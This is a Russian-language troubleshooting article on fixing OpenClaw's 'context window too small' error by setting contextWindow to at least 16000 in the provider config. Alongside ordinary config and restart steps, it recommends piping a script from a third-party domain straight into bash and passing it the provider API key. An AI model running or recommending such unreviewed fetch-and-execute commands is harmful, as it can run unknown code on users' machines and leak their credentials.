Ошибка «Model context window too small (4096 tokens). Minimum is 16000» в OpenClaw: причина и решение

Как проявляется

При использовании кастомного API провайдера OpenClaw сразу выдаёт ошибку о слишком маленьком контекстном окне модели (4096 токенов вместо 16000).

Из-за чего возникает

По умолчанию кастомные провайдеры получают contextWindow = 4096, что меньше минимального значения 16000, требуемого агентом, из-за чего происходит сбой.

Как исправить

1. Откройте файл конфигурации OpenClaw (openclaw.json или ваш конфиг).
2. Найдите раздел с вашим кастомным провайдером в models.providers.<yourProviderId>.
3. В описании модели добавьте или измените параметр contextWindow на значение не меньше 16000, например:

models: {
  providers: {
    "<yourProviderId>": {
      baseUrl: "http://127.0.0.1:11434/v1",
      api: "openai-completions",
      models: [
        {
          id: "llama3",
          name: "llama3",
          contextWindow: 16384,
          maxTokens: 2048
        }
      ]
    }
  }
}

4. Перезапустите шлюз OpenClaw командой:

openclaw gateway restart

5. Проверьте статус моделей и их параметры:

openclaw models status --probe

Дополнительно, пока не вышло обновление с исправлением, можно использовать скрипт для автоматического применения патча:

bash <(curl -fsSL https://www.desertstack.dev/clawrelay/enable-provider.sh) \
    --provider-id "your_provider_id" \
    --base-url "<provider_base_url>" \
    --api-key "<provider_api_key>" \
    --api "openai-completions" \
    --model-id "<model_id>" \
    --model-name "<model name>"

Подробнее: https://github.com/openclaw/openclaw/issues/21653

Как не столкнуться снова

Проверяйте и задавайте параметр contextWindow не меньше 16000 для кастомных моделей в конфиге OpenClaw перед использованием.

Источник

Разбор основан на обсуждении в репозитории проекта: issue #21653.

Другие типичные проблемы — в разделе ошибок и решений, а базовая настройка разобрана в первом запуске.